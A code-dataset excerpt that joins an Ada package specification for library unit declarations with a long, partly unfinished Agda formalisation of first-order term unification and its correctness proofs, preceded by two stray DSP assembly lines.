sof -1.0,0.0 ; invert
output: wrax DACR,0.0 ; output to right channel
|
source/oasis/program-library_unit_declarations.ads
|
optikos/oasis
| 0 |
898
|
-- Copyright (c) 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
with Program.Compilation_Unit_Vectors;
with Program.Compilation_Units;
with Program.Library_Items;
with Program.Library_Unit_Bodies;
package Program.Library_Unit_Declarations is
pragma Pure;
type Library_Unit_Declaration is limited interface
and Program.Library_Items.Library_Item;
-- library_unit_declaration is a compilation unit that is the declaration
-- or renaming of a library unit.
type Library_Unit_Declaration_Access is
access all Library_Unit_Declaration'Class
with Storage_Size => 0;
not overriding function Corresponding_Body
(Self : access Library_Unit_Declaration)
return Program.Library_Unit_Bodies.Library_Unit_Body_Access
is abstract;
-- Returns the corresponding library_unit_body, if any, for the
-- library_unit_declaration. The corresponding library_unit_body is the
-- unit that depends semantically on the library_unit_declaration.
--
-- Returns null for library_unit_declaration arguments that
-- do not have a corresponding library_unit_body contained in the Context.
not overriding function Corresponding_Childern
(Self : access Library_Unit_Declaration)
return Program.Compilation_Unit_Vectors.Compilation_Unit_Vector_Access
is abstract;
-- with Post'Class =>
-- (Corresponding_Childern'Result.Is_Empty
-- or else (for all X in Corresponding_Childern'Result.Each_Unit
-- => X.Unit.Is_Library_Item));
-- Returns a list of the child units for the given parent library unit.
--
-- Both the declaration and body (if any) of each child unit are returned.
-- Descendants beyond immediate children (i.e., children of children) are
-- not returned by this query.
end Program.Library_Unit_Declarations;
|
archive/agda-1/Unify-monolithic.agda
|
m0davis/oscar
| 0 |
15791
|
{- https://lists.chalmers.se/pipermail/agda/2013/006033.html http://code.haskell.org/~Saizan/unification/ 18-Nov-2013 <NAME> -}
module Unify-monolithic where
-- some equivalences needed to adapt Tactic.Nat to the standard library
module EquivalenceOf≤ where
open import Agda.Builtin.Equality
open import Agda.Builtin.Nat
open import Data.Nat using (less-than-or-equal) renaming (_≤_ to _≤s_)
open import Data.Nat.Properties using (≤⇒≤″; ≤″⇒≤)
open import Prelude using (diff; id) renaming (_≤_ to _≤p_)
open import Tactic.Nat.Generic (quote _≤p_) (quote id) (quote id) using (by)
≤p→≤s : ∀ {a b} → a ≤p b → a ≤s b
≤p→≤s (diff k b₊₁≡k₊₁+a) = ≤″⇒≤ (less-than-or-equal {k = k} (by b₊₁≡k₊₁+a))
≤s→≤p : ∀ {a b} → a ≤s b → a ≤p b
≤s→≤p a≤sb with ≤⇒≤″ a≤sb
≤s→≤p _ | less-than-or-equal {k = k} a+k≡b = diff k (by a+k≡b)
module _ where
open EquivalenceOf≤
open import Data.Nat
open import Tactic.Nat.Generic (quote _≤_) (quote ≤s→≤p) (quote ≤p→≤s) public
open import Data.Fin using (Fin; suc; zero)
open import Data.Nat hiding (_≤_)
--open import Relation.Binary.PropositionalEquality
open import Relation.Binary.PropositionalEquality hiding ([_])
open import Function
open import Relation.Nullary
--open import Data.Product
open import Data.Product renaming (map to _***_)
open import Data.Empty
data Term (n : ℕ) : Set where
i : (x : Fin n) -> Term n
leaf : Term n
_fork_ : (s t : Term n) -> Term n
{-
data Term : ℕ -> Set where
i : ∀ ..{n} -> (x : Fin n) -> Term n
leaf : ∀ ..{n} -> Term n
_fork_ : ∀ ..{n} -> (s t : Term n) -> Term n
-}
_~>_ : (m n : ℕ) -> Set
m ~> n = Fin m -> Term n
▹ : ∀ {m n} -> (r : Fin m -> Fin n) -> Fin m -> Term n
▹ r = i ∘ r
_◃ : ∀ {m n} -> (f : m ~> n) -> Term m -> Term n
(f ◃ ) (i x) = f x
(f ◃ ) leaf = leaf
(f ◃ ) (s fork t) = (f ◃) s fork (f ◃) t
_◃_ : ∀ {m n} -> (f : m ~> n) -> Term m -> Term n
_◃_ = _◃
_≐_ : {m n : ℕ} -> (Fin m -> Term n) -> (Fin m -> Term n) -> Set
f ≐ g = ∀ x -> f x ≡ g x
◃ext : ∀ {m n} {f g : Fin m -> Term n} -> f ≐ g -> ∀ t -> f ◃ t ≡ g ◃ t
◃ext p (i x) = p x
◃ext p leaf = refl
◃ext p (s fork t) = cong₂ _fork_ (◃ext p s) (◃ext p t)
_◇_ : ∀ {l m n : ℕ } -> (f : Fin m -> Term n) (g : Fin l -> Term m) -> Fin l -> Term n
f ◇ g = (f ◃) ∘ g
≐-cong : ∀ {m n o} {f : m ~> n} {g} (h : _ ~> o) -> f ≐ g -> (h ◇ f) ≐ (h ◇ g)
≐-cong h f≐g t = cong (h ◃) (f≐g t)
≐-sym : ∀ {m n} {f : m ~> n} {g} -> f ≐ g -> g ≐ f
≐-sym f≐g = sym ∘ f≐g
module Sub where
fact1 : ∀ {n} -> (t : Term n) -> i ◃ t ≡ t
fact1 (i x) = refl
fact1 leaf = refl
fact1 (s fork t) = cong₂ _fork_ (fact1 s) (fact1 t)
fact2 : ∀ {l m n} -> (f : Fin m -> Term n) (g : _) (t : Term l)
-> (f ◇ g) ◃ t ≡ f ◃ (g ◃ t)
fact2 f g (i x) = refl
fact2 f g leaf = refl
fact2 f g (s fork t) = cong₂ _fork_ (fact2 f g s) (fact2 f g t)
fact3 : ∀ {l m n} (f : Fin m -> Term n) (r : Fin l -> Fin m) -> (f ◇ (▹ r)) ≡ (f ∘ r)
fact3 f r = refl -- ext (λ _ -> refl)
◃ext' : ∀ {m n o} {f : Fin m -> Term n}{g : Fin m -> Term o}{h} -> f ≐ (h ◇ g) -> ∀ t -> f ◃ t ≡ h ◃ (g ◃ t)
◃ext' p t = trans (◃ext p t) (Sub.fact2 _ _ t)
s : ℕ -> ℕ
s = suc
thin : ∀ {n} -> (x : Fin (s n)) (y : Fin n) -> Fin (s n)
thin zero y = suc y
thin (suc x) zero = zero
thin (suc x) (suc y) = suc (thin x y)
p : ∀ {n} -> Fin (suc (suc n)) -> Fin (suc n)
p (suc x) = x
p zero = zero
module Thin where
fact1 : ∀ {n} x y z -> thin {n} x y ≡ thin x z -> y ≡ z
fact1 zero y .y refl = refl
fact1 (suc x) zero zero r = refl
fact1 (suc x) zero (suc z) ()
fact1 (suc x) (suc y) zero ()
fact1 (suc x) (suc y) (suc z) r = cong suc (fact1 x y z (cong p r))
fact2 : ∀ {n} x y -> ¬ thin {n} x y ≡ x
fact2 zero y ()
fact2 (suc x) zero ()
fact2 (suc x) (suc y) r = fact2 x y (cong p r)
fact3 : ∀{n} x y -> ¬ x ≡ y -> ∃ λ y' -> thin {n} x y' ≡ y
fact3 zero zero ne = ⊥-elim (ne refl)
fact3 zero (suc y) _ = y , refl
fact3 {zero} (suc ()) _ _
fact3 {suc n} (suc x) zero ne = zero , refl
fact3 {suc n} (suc x) (suc y) ne with y | fact3 x y (ne ∘ cong suc)
... | .(thin x y') | y' , refl = suc y' , refl
open import Data.Maybe
open import Category.Functor
open import Category.Monad
import Level
open RawMonad (Data.Maybe.monad {Level.zero})
thick : ∀ {n} -> (x y : Fin (suc n)) -> Maybe (Fin n)
thick zero zero = nothing
thick zero (suc y) = just y
thick {zero} (suc ()) _
thick {suc _} (suc x) zero = just zero
thick {suc _} (suc x) (suc y) = suc <$> (thick x y)
open import Data.Sum
_≡Fin_ : ∀ {n} -> (x y : Fin n) -> Dec (x ≡ y)
zero ≡Fin zero = yes refl
zero ≡Fin suc y = no λ ()
suc x ≡Fin zero = no λ ()
suc {suc _} x ≡Fin suc y with x ≡Fin y
... | yes r = yes (cong suc r)
... | no r = no λ e -> r (cong p e)
suc {zero} () ≡Fin _
module Thick where
half1 : ∀ {n} (x : Fin (suc n)) -> thick x x ≡ nothing
half1 zero = refl
half1 {suc _} (suc x) = cong (_<$>_ suc) (half1 x)
half1 {zero} (suc ())
half2 : ∀ {n} (x : Fin (suc n)) y -> ∀ y' -> thin x y' ≡ y -> thick x y ≡ just y'
half2 zero zero y' ()
half2 zero (suc y) .y refl = refl
half2 {suc n} (suc x) zero zero refl = refl
half2 {suc _} (suc _) zero (suc _) ()
half2 {suc n} (suc x) (suc y) zero ()
half2 {suc n} (suc x) (suc .(thin x y')) (suc y') refl with thick x (thin x y') | half2 x (thin x y') y' refl
... | .(just y') | refl = refl
half2 {zero} (suc ()) _ _ _
fact1 : ∀ {n} (x : Fin (suc n)) y r
-> thick x y ≡ r
-> x ≡ y × r ≡ nothing ⊎ ∃ λ y' -> thin x y' ≡ y × r ≡ just y'
fact1 x y .(thick x y) refl with x ≡Fin y
fact1 x .x ._ refl | yes refl = inj₁ (refl , half1 x)
... | no el with Thin.fact3 x y el
... | y' , thinxy'=y = inj₂ (y' , ( thinxy'=y , half2 x y y' thinxy'=y ))
check : ∀{n} (x : Fin (suc n)) (t : Term (suc n)) -> Maybe (Term n)
check x (i y) = i <$> thick x y
check x leaf = just leaf
check x (s fork t) = _fork_ <$> check x s ⊛ check x t
_for_ : ∀ {n} (t' : Term n) (x : Fin (suc n)) -> Fin (suc n) -> Term n
(t' for x) y = maybe′ i t' (thick x y)
data AList : ℕ -> ℕ -> Set where
anil : ∀ {n} -> AList n n
_asnoc_/_ : ∀ {m n} (σ : AList m n) (t' : Term m) (x : Fin (suc m))
-> AList (suc m) n
alist≥ : ∀ m n → AList m n → m Data.Nat.≥ n
alist≥ m .m anil = {!!}
alist≥ .(suc _) n (x asnoc t' / x₁) with alist≥ _ _ x
… | r = {!!}
sub : ∀ {m n} (σ : AList m n) -> Fin m -> Term n
sub anil = i
sub (σ asnoc t' / x) = sub σ ◇ (t' for x)
_++_ : ∀ {l m n} (ρ : AList m n) (σ : AList l m) -> AList l n
ρ ++ anil = ρ
ρ ++ (σ asnoc t' / x) = (ρ ++ σ) asnoc t' / x
++-assoc : ∀ {l m n o} (ρ : AList l m) (σ : AList n _) (τ : AList o _) -> ρ ++ (σ ++ τ) ≡ (ρ ++ σ) ++ τ
++-assoc ρ σ anil = refl
++-assoc ρ σ (τ asnoc t / x) = cong (λ s -> s asnoc t / x) (++-assoc ρ σ τ)
module SubList where
anil-id-l : ∀ {m n} (σ : AList m n) -> anil ++ σ ≡ σ
anil-id-l anil = refl
anil-id-l (σ asnoc t' / x) = cong (λ σ -> σ asnoc t' / x) (anil-id-l σ)
fact1 : ∀ {l m n} (ρ : AList m n) (σ : AList l m) -> sub (ρ ++ σ) ≐ (sub ρ ◇ sub σ)
fact1 ρ anil v = refl
fact1 {suc l} {m} {n} r (s asnoc t' / x) v = trans hyp-on-terms ◃-assoc
where
t = (t' for x) v
hyp-on-terms = ◃ext (fact1 r s) t
◃-assoc = Sub.fact2 (sub r) (sub s) t
_∃asnoc_/_ : ∀ {m} (a : ∃ (AList m)) (t' : Term m) (x : Fin (suc m))
-> ∃ (AList (suc m))
(n , σ) ∃asnoc t' / x = n , σ asnoc t' / x
flexFlex : ∀ {m} (x y : Fin m) -> ∃ (AList m)
flexFlex {suc m} x y with thick x y
... | just y' = m , anil asnoc i y' / x
... | nothing = suc m , anil
flexFlex {zero} () _
flexRigid : ∀ {m} (x : Fin m) (t : Term m) -> Maybe (∃(AList m))
flexRigid {suc m} x t with check x t
... | just t' = just (m , anil asnoc t' / x)
... | nothing = nothing
flexRigid {zero} () _
amgu : ∀ {m} (s t : Term m) (acc : ∃ (AList m)) -> Maybe (∃ (AList m))
amgu leaf leaf acc = just acc
amgu leaf (s' fork t') acc = nothing
amgu (s' fork t') leaf acc = nothing
amgu (s1 fork s2) (t1 fork t2) acc =
amgu s2 t2 =<< amgu s1 t1 acc
amgu (i x) (i y) (m , anil) = just (flexFlex x y)
amgu (i x) t (m , anil) = flexRigid x t
amgu t (i x) (m , anil) = flexRigid x t
amgu s t (n , σ asnoc r / z) =
(λ σ -> σ ∃asnoc r / z) <$>
amgu ((r for z) ◃ s) ((r for z) ◃ t) (n , σ)
mgu : ∀ {m} -> (s t : Term m) -> Maybe (∃ (AList m))
mgu {m} s t = amgu s t (m , anil)
{-
open import Data.Fin using (Fin; suc; zero)
open import Data.Nat hiding (_≤_)
open import Relation.Binary.PropositionalEquality hiding ([_])
open import Function
open import Relation.Nullary
open import Data.Product renaming (map to _***_)
open import Data.Empty
-}
open import Data.Maybe using (maybe; maybe′; nothing; just; monad; Maybe)
open import Data.Sum
--open import Unify
open import Data.List renaming (_++_ to _++L_)
open ≡-Reasoning
open import Category.Functor
open import Category.Monad
import Level as L
--open RawMonad (Data.Maybe.monad {L.zero})
record Σ₁ (A : Set1) (F : A -> Set) : Set1 where
field
π₁ : A
π₂ : F π₁
_,,_ : ∀ {A F} (x : A) -> F x -> Σ₁ A F
x ,, b = record{ π₁ = x; π₂ = b }
open Σ₁
Property⋆ : (m : ℕ) -> Set1
Property⋆ m = ∀ {n} -> (Fin m -> Term n) -> Set
Extensional : {m : ℕ} -> Property⋆ m -> Set
Extensional P = ∀ {m f g} -> f ≐ g -> P {m} f -> P g
Property : (m : ℕ) -> Set1
Property m = Σ₁ (Property⋆ m) Extensional
prop-id : ∀ {m n} {f : _ ~> n} {P : Property m} -> π₁ P f -> π₁ P (i ◇ f)
prop-id {_} {_} {f} {P'} Pf = π₂ P' (λ x → sym (Sub.fact1 (f x))) Pf
Unifies⋆ : ∀ {m} (s t : Term m) -> Property⋆ m
Unifies⋆ s t f = f ◃ s ≡ f ◃ t
Unifies : ∀ {m} (s t : Term m) -> Property m
Unifies s t = (λ {_} -> Unifies⋆ s t) ,, λ {_} {f} {g} f≐g f◃s=f◃t ->
begin
g ◃ s
≡⟨ sym (◃ext f≐g s) ⟩
f ◃ s
≡⟨ f◃s=f◃t ⟩
f ◃ t
≡⟨ ◃ext f≐g t ⟩
g ◃ t
∎
_∧⋆_ : ∀{m} -> (P Q : Property⋆ m) -> Property⋆ m
P ∧⋆ Q = (λ f -> P f × Q f)
_∧_ : ∀{m} -> (P Q : Property m) -> Property m
P ∧ Q = (λ {_} f -> π₁ P f × π₁ Q f) ,, λ {_} {_} {_} f≐g Pf×Qf -> π₂ P f≐g (proj₁ Pf×Qf) , π₂ Q f≐g (proj₂ Pf×Qf)
_⇔⋆_ : ∀{m} -> (P Q : Property⋆ m) -> Set
P ⇔⋆ Q = ∀ {n} f -> (P {n} f -> Q f) × (Q f -> P f)
_⇔_ : ∀{m} -> (P Q : Property m) -> Set
P ⇔ Q = ∀ {n} f -> (π₁ P {n} f -> π₁ Q f) × (π₁ Q f -> π₁ P f)
switch⋆ : ∀ {m} (P Q : Property⋆ m) -> P ⇔⋆ Q -> Q ⇔⋆ P
switch⋆ _ _ P⇔Q f = proj₂ (P⇔Q f) , proj₁ (P⇔Q f)
switch : ∀ {m} (P Q : Property m) -> P ⇔ Q -> Q ⇔ P
switch _ _ P⇔Q f = proj₂ (P⇔Q f) , proj₁ (P⇔Q f)
Nothing⋆ : ∀{m} -> (P : Property⋆ m) -> Set
Nothing⋆ P = ∀{n} f -> P {n} f -> ⊥
Nothing : ∀{m} -> (P : Property m) -> Set
Nothing P = ∀{n} f -> π₁ P {n} f -> ⊥
_[-◇⋆_] : ∀{m n} (P : Property⋆ m) (f : Fin m -> Term n) -> Property⋆ n
(P [-◇⋆ f ]) g = P (g ◇ f)
_[-◇_] : ∀{m n} (P : Property m) (f : Fin m -> Term n) -> Property n
P [-◇ f ] = (λ {_} g -> π₁ P (g ◇ f)) ,, λ {_} {f'} {g'} f'≐g' Pf'◇f -> π₂ P (◃ext f'≐g' ∘ f) Pf'◇f
module Properties where
fact1 : ∀ {m} {s t : Term m} -> (Unifies s t) ⇔ (Unifies t s)
fact1 _ = sym , sym
fact1'⋆ : ∀ {m} {s1 s2 t1 t2 : Term m}
-> Unifies⋆ (s1 fork s2) (t1 fork t2) ⇔⋆ (Unifies⋆ s1 t1 ∧⋆ Unifies⋆ s2 t2)
fact1'⋆ f = deconstr _ _ _ _ , uncurry (cong₂ _fork_)
where deconstr : ∀ {m} (s1 s2 t1 t2 : Term m)
-> (s1 fork s2) ≡ (t1 fork t2)
-> (s1 ≡ t1) × (s2 ≡ t2)
deconstr s1 s2 .s1 .s2 refl = refl , refl
fact1' : ∀ {m} {s1 s2 t1 t2 : Term m}
-> Unifies (s1 fork s2) (t1 fork t2) ⇔ (Unifies s1 t1 ∧ Unifies s2 t2)
fact1' f = deconstr _ _ _ _ , uncurry (cong₂ _fork_)
where deconstr : ∀ {m} (s1 s2 t1 t2 : Term m)
-> (s1 fork s2) ≡ (t1 fork t2)
-> (s1 ≡ t1) × (s2 ≡ t2)
deconstr s1 s2 .s1 .s2 refl = refl , refl
fact2⋆ : ∀ {m} (P Q : Property⋆ m) -> P ⇔⋆ Q -> Nothing⋆ P -> Nothing⋆ Q
fact2⋆ P Q iff notp f q with iff f
... | (p2q , q2p) = notp f (q2p q)
fact2 : ∀ {m} (P Q : Property m) -> P ⇔ Q -> Nothing P -> Nothing Q
fact2 P Q iff notp f q with iff f
... | (p2q , q2p) = notp f (q2p q)
fact3 : ∀ {m} {P : Property m} -> P ⇔ (P [-◇ i ])
fact3 f = id , id
fact4 : ∀{m n} {P : Property m} (f : _ -> Term n)
-> Nothing P -> Nothing (P [-◇ f ])
fact4 f nop g = nop (g ◇ f)
fact5⋆ : ∀{m n} (P Q : Property⋆ _) (f : m ~> n) -> P ⇔⋆ Q -> (P [-◇⋆ f ]) ⇔⋆ (Q [-◇⋆ f ])
fact5⋆ _ _ f P⇔Q f' = P⇔Q (f' ◇ f)
fact5 : ∀{m n} (P Q : Property _) (f : m ~> n) -> P ⇔ Q -> (P [-◇ f ]) ⇔ (Q [-◇ f ])
fact5 _ _ f P⇔Q f' = P⇔Q (f' ◇ f)
fact6 : ∀{m n} P {f g : m ~> n} -> f ≐ g -> (P [-◇ f ]) ⇔ (P [-◇ g ])
fact6 P f≐g h = π₂ P (≐-cong h f≐g) , π₂ P (≐-sym (≐-cong h f≐g))
{-
fact5 : ∀ {l m n} {f : Fin n -> Term l} {g : Fin m -> Term n}
{P : Property _ }
-> (P [-◇ g ]) [-◇ f ] ⇔ P [-◇ (f ◇ g) ]
fact5 h = {!!} , {!!}
-}
_≤_ : ∀ {m n n'} (f : Fin m -> Term n) (g : Fin m -> Term n') -> Set
f ≤ g = ∃ λ f' -> f ≐ (f' ◇ g)
module Order where
reflex : ∀ {m n} {f : Fin m -> Term n} -> f ≤ f
reflex = i , λ _ -> sym (Sub.fact1 _)
transitivity : ∀ {l m n o} {f : Fin l -> Term m}{g : _ -> Term n}
{h : _ -> Term o}
-> f ≤ g -> g ≤ h -> f ≤ h
transitivity {l} {_} {_} {_} {f} {g} {h} (fg , pfg) (gh , pgh) =
fg ◇ gh , proof
where
proof : (x : Fin l) → f x ≡ (λ x' → fg ◃ (gh x')) ◃ (h x)
proof x = trans z (sym (Sub.fact2 fg gh (h x)))
where z = trans (pfg x) (cong (fg ◃) (pgh x))
i-max : ∀ {m n} (f : Fin m -> Term n) -> f ≤ i
i-max f = f , λ _ -> refl
dist : ∀{l m n o}{f : Fin l -> Term m}{g : _ -> Term n}(h : Fin o -> _) -> f ≤ g -> (f ◇ h) ≤ (g ◇ h)
dist h (fg , pfg) = fg , λ x -> trans (◃ext pfg (h x)) (Sub.fact2 _ _ (h x))
Max⋆ : ∀ {m} (P : Property⋆ m) -> Property⋆ m
Max⋆ P f = P f × (∀ {n} f' -> P {n} f' -> f' ≤ f)
Max : ∀ {m} (P : Property m) -> Property m
Max P' = (λ {_} → Max⋆ P) ,, λ {_} {_} {_} -> lemma1
where
open Σ₁ P' renaming (π₁ to P; π₂ to Peq)
lemma1 : {m : ℕ} {f : Fin _ → Term m} {g : Fin _ → Term m} →
f ≐ g →
P f × ({n : ℕ} (f' : Fin _ → Term n) → P f' → f' ≤ f) →
P g × ({n : ℕ} (f' : Fin _ → Term n) → P f' → f' ≤ g)
lemma1 {_} {f} {g} f≐g (Pf , MaxPf) = Peq f≐g Pf , λ {_} -> lemma2
where
lemma2 : ∀ {n} f' → P {n} f' → ∃ λ f0 → f' ≐ (f0 ◇ g)
lemma2 f' Pf' = f0 , λ x -> trans (f'≐f0◇f x) (cong (f0 ◃) (f≐g x))
where
f0 = proj₁ (MaxPf f' Pf')
f'≐f0◇f = proj₂ (MaxPf f' Pf')
module Max where
fact : ∀{m}(P Q : Property m) -> P ⇔ Q -> Max P ⇔ Max Q
fact {m} P Q a f =
(λ maxp → pq (proj₁ maxp) , λ f' → proj₂ maxp f' ∘ qp)
, λ maxq → qp (proj₁ maxq) , λ f' → proj₂ maxq f' ∘ pq
where
pq : {n : ℕ} {f0 : Fin m → Term n} → (π₁ P f0 → π₁ Q f0)
pq {_} {f} = proj₁ (a f)
qp : {n : ℕ} {f0 : Fin m → Term n} → (π₁ Q f0 → π₁ P f0)
qp {_} {f} = proj₂ (a f)
DClosed : ∀{m} (P : Property m) -> Set
DClosed P = ∀ {n} f {o} g -> f ≤ g -> π₁ P {o} g -> π₁ P {n} f
module DClosed where
fact1 : ∀ {m} s t -> DClosed {m} (Unifies s t)
fact1 s t f g (f≤g , p) gs=gt =
begin
f ◃ s
≡⟨ ◃ext' p s ⟩
f≤g ◃ (g ◃ s)
≡⟨ cong (f≤g ◃) gs=gt ⟩
f≤g ◃ (g ◃ t)
≡⟨ sym (◃ext' p t) ⟩
f ◃ t
∎
optimist : ∀ {l m n o} (a : Fin _ -> Term n) (p : Fin _ -> Term o)
(q : Fin _ -> Term l) (P Q : Property m)
-> DClosed P -> π₁ (Max (P [-◇ a ])) p
-> π₁ (Max (Q [-◇ (p ◇ a) ])) q
-> π₁ (Max ((P ∧ Q) [-◇ a ])) (q ◇ p)
optimist a p q P' Q' DCP (Ppa , pMax) (Qqpa , qMax) =
(Peq (sym ∘ (Sub.fact2 _ _) ∘ a) (DCP (q ◇ (p ◇ a)) (p ◇ a) (q , λ _ -> refl) Ppa)
, Qeq (sym ∘ (Sub.fact2 _ _) ∘ a) Qqpa )
, λ {_} -> aux
where
open Σ₁ P' renaming (π₁ to P; π₂ to Peq)
open Σ₁ Q' renaming (π₁ to Q; π₂ to Qeq)
aux : ∀ {n} (f : _ -> Term n) -> P (f ◇ a) × Q (f ◇ a) -> f ≤ (q ◇ p)
aux f (Pfa , Qfa) = h ,
λ x -> trans (f≐g◇p x) (◃ext' g≐h◇q (p x))
where
one = pMax f Pfa
g = proj₁ one
f≐g◇p = proj₂ one
Qgpa : Q (g ◇ (p ◇ a))
Qgpa = Qeq (λ x -> ◃ext' f≐g◇p (a x)) Qfa
g≤q = qMax g Qgpa
h = proj₁ g≤q
g≐h◇q = proj₂ g≤q
module failure-propagation where
first⋆ : ∀ {m n} (a : _ ~> n) (P Q : Property⋆ m) ->
Nothing⋆ (P [-◇⋆ a ]) -> Nothing⋆ ((P ∧⋆ Q) [-◇⋆ a ])
first⋆ a P' Q' noP-a f (Pfa , Qfa) = noP-a f Pfa
first : ∀ {m n} (a : _ ~> n) (P Q : Property m) ->
Nothing (P [-◇ a ]) -> Nothing ((P ∧ Q) [-◇ a ])
first a P' Q' noP-a f (Pfa , Qfa) = noP-a f Pfa
{-
second⋆ : ∀ {m n o} (a : _ ~> n) (p : _ ~> o)(P Q : Property⋆ m) ->
(Max⋆ (P [-◇⋆ a ])) p -> Nothing⋆ (Q [-◇⋆ (p ◇ a)])
-> Nothing⋆ ((P ∧⋆ Q) [-◇⋆ a ])
second⋆ a p P' Q' (Ppa , pMax) noQ-p◇a f (Pfa , Qfa) = noQ-p◇a g Qgpa
where
f≤p = pMax f Pfa
g = proj₁ f≤p
f≐g◇p = proj₂ f≤p
Qgpa : Q' (g ◇ (p ◇ a))
Qgpa = {!!}
{-
noQ-p◇a g Qgpa
where
f≤p = pMax f Pfa
g = proj₁ f≤p
f≐g◇p = proj₂ f≤p
Qgpa : π₁ Q' (g ◇ (p ◇ a))
Qgpa = π₂ Q' (◃ext' f≐g◇p ∘ a) Qfa
-}
-}
second⋆ : ∀ {m n o} (a : _ ~> n) (p : _ ~> o)(P : Property⋆ m)(Q : Property m) ->
(Max⋆ (P [-◇⋆ a ])) p -> Nothing⋆ (π₁ Q [-◇⋆ (p ◇ a)])
-> Nothing⋆ ((P ∧⋆ π₁ Q) [-◇⋆ a ])
second⋆ a p P' Q' (Ppa , pMax) noQ-p◇a f (Pfa , Qfa) = noQ-p◇a g Qgpa
where
f≤p = pMax f Pfa
g = proj₁ f≤p
f≐g◇p = proj₂ f≤p
Qgpa : π₁ Q' (g ◇ (p ◇ a))
Qgpa = π₂ Q' (◃ext' f≐g◇p ∘ a) Qfa
second : ∀ {m n o} (a : _ ~> n) (p : _ ~> o)(P Q : Property m) ->
π₁ (Max (P [-◇ a ])) p -> Nothing (Q [-◇ (p ◇ a)])
-> Nothing ((P ∧ Q) [-◇ a ])
second a p P' Q' (Ppa , pMax) noQ-p◇a f (Pfa , Qfa) =
noQ-p◇a g Qgpa
where
f≤p = pMax f Pfa
g = proj₁ f≤p
f≐g◇p = proj₂ f≤p
Qgpa : π₁ Q' (g ◇ (p ◇ a))
Qgpa = π₂ Q' (◃ext' f≐g◇p ∘ a) Qfa
trivial-problem : ∀ {m n t} {f : m ~> n} -> π₁ (Max ((Unifies t t) [-◇ f ])) i
trivial-problem = refl , λ f' _ → f' , λ _ → refl
var-elim : ∀ {m} (x : Fin (suc m)) (t' : Term _)
-> π₁ (Max ((Unifies (i x) ((▹ (thin x) ◃) t')))) (t' for x)
var-elim x t' = first , \{_} -> second
where
lemma : ∀{m}(x : Fin (suc m)) t → i ≐ ((t for x) ◇ (▹ (thin x)))
lemma x t x' = sym (cong (maybe i t) (Thick.half2 x _ x' refl))
first = begin
(t' for x) ◃ (i x) ≡⟨ cong (maybe i t') (Thick.half1 x) ⟩
t' ≡⟨ sym (Sub.fact1 t') ⟩
i ◃ t' ≡⟨ ◃ext' (lemma x t') t' ⟩
(t' for x) ◃ ((▹ (thin x) ◃) t') ∎
second : ∀ {n} (f : _ ~> n) → f x ≡ f ◃ ((▹ (thin x) ◃) t') → f ≤ (t' for x)
second f Unifiesf = (f ∘ thin x) , third
where
third : ((x' : Fin _) → f x' ≡ (f ∘ thin x) ◃ (maybe′ i t' (thick x x')))
third x' with thick x x' | Thick.fact1 x x' (thick x x') refl
third .x | .nothing | inj₁ (refl , refl) =
sym (begin
(f ∘ thin x) ◃ t' ≡⟨ cong (λ g -> (g ◃) t') (sym (Sub.fact3 f (thin x))) ⟩
(f ◇ (▹ (thin x))) ◃ t' ≡⟨ Sub.fact2 f (▹ (thin x)) t' ⟩
f ◃ ((▹ (thin x) ◃) t') ≡⟨ sym Unifiesf ⟩
f x ∎)
third x' | .(just y) | inj₂ (y , ( thinxy≡x' , refl)) = sym (cong f thinxy≡x')
var-elim-i : ∀ {m} (x : Fin (suc m)) (t' : Term _)
-> π₁ (Max ((Unifies (i x) ((▹ (thin x) ◃) t')))) (i ◇ (t' for x))
var-elim-i {m} x t = prop-id {_} {_} {t for x} {Max (Unifies (i x) ((▹ (thin x) ◃) t))} (var-elim {m} x t)
var-elim-i-≡ : ∀ {m} {t'} (x : Fin (suc m)) t1 -> t1 ≡ (i ∘ thin x) ◃ t' -> π₁ (Max (Unifies (i x) t1)) (i ◇ (t' for x))
var-elim-i-≡ {_} {t'} x .((i ∘ thin x) ◃ t') refl = var-elim-i x t'
data Step (n : ℕ) : Set where
left : Term n -> Step n
right : Term n -> Step n
fmapS : ∀ {n m} (f : Term n -> Term m) (s : Step n) -> Step m
fmapS f (left x) = left (f x)
fmapS f (right x) = right (f x)
_⊹_ : ∀ {n} (ps : List (Step n)) (t : Term n) -> Term n
[] ⊹ t = t
(left r ∷ ps) ⊹ t = (ps ⊹ t) fork r
(right l ∷ ps) ⊹ t = l fork (ps ⊹ t)
_◃S : ∀ {n m} (f : n ~> m) -> List (Step n) -> List (Step m)
_◃S f = Data.List.map (fmapS (f ◃))
map-[] : ∀ {n m} (f : n ~> m) ps -> (f ◃S) ps ≡ [] -> ps ≡ []
map-[] f [] _ = refl
map-[] f (x ∷ xs) ()
module StepM where
lemma1 : ∀ {n} (x : Step n) xs t -> [ x ] ⊹ ( xs ⊹ t ) ≡ (x ∷ xs) ⊹ t
lemma1 (left y) xs t = refl
lemma1 (right y) xs t = refl
lemma2 : ∀ {n} {r} {t} {xs} (x : Step n) -> xs ⊹ t ≡ r -> ((x ∷ xs) ⊹ t ) ≡ [ x ] ⊹ r
lemma2 (left y) eq = cong (λ t -> t fork y) eq
lemma2 (right y) eq = cong (λ t -> y fork t) eq
fact1 : ∀ {n} ps qs (t : Term n) -> (ps ++L qs) ⊹ t ≡ ps ⊹ (qs ⊹ t)
fact1 [] qs t = refl
fact1 (p ∷ ps) qs t = begin (p ∷ (ps ++L qs)) ⊹ t ≡⟨ lemma2 p (fact1 ps qs t) ⟩
[ p ] ⊹ (ps ⊹ (qs ⊹ t)) ≡⟨ lemma1 p ps (qs ⊹ t) ⟩
(p ∷ ps) ⊹ (qs ⊹ t) ∎
fact2 : ∀ {m n} (f : m ~> n) t ps ->
f ◃ (ps ⊹ t) ≡ (f ◃S) ps ⊹ (f ◃ t)
fact2 f t [] = refl
fact2 f t (left y ∷ xs) = cong (λ t -> t fork (f ◃ y)) (fact2 f t xs)
fact2 f t (right y ∷ xs) = cong (λ t -> (f ◃ y) fork t) (fact2 f t xs)
check-prop : ∀ {m} (x : Fin (suc m)) t ->
(∃ λ t' -> t ≡ (▹ (thin x) ◃) t' × check x t ≡ just t')
⊎ (∃ λ ps -> t ≡ (ps ⊹ i x) × check x t ≡ nothing)
check-prop x (i x') with Thick.fact1 x x' (thick x x') refl
check-prop x (i .x) | inj₁ (refl , e) = inj₂ ([] , refl , cong (_<$>_ i) e)
... | inj₂ (y , thinxy≡x' , thickxx'≡justy')
= inj₁ (i y
, cong i (sym (thinxy≡x'))
, cong (_<$>_ i) thickxx'≡justy' )
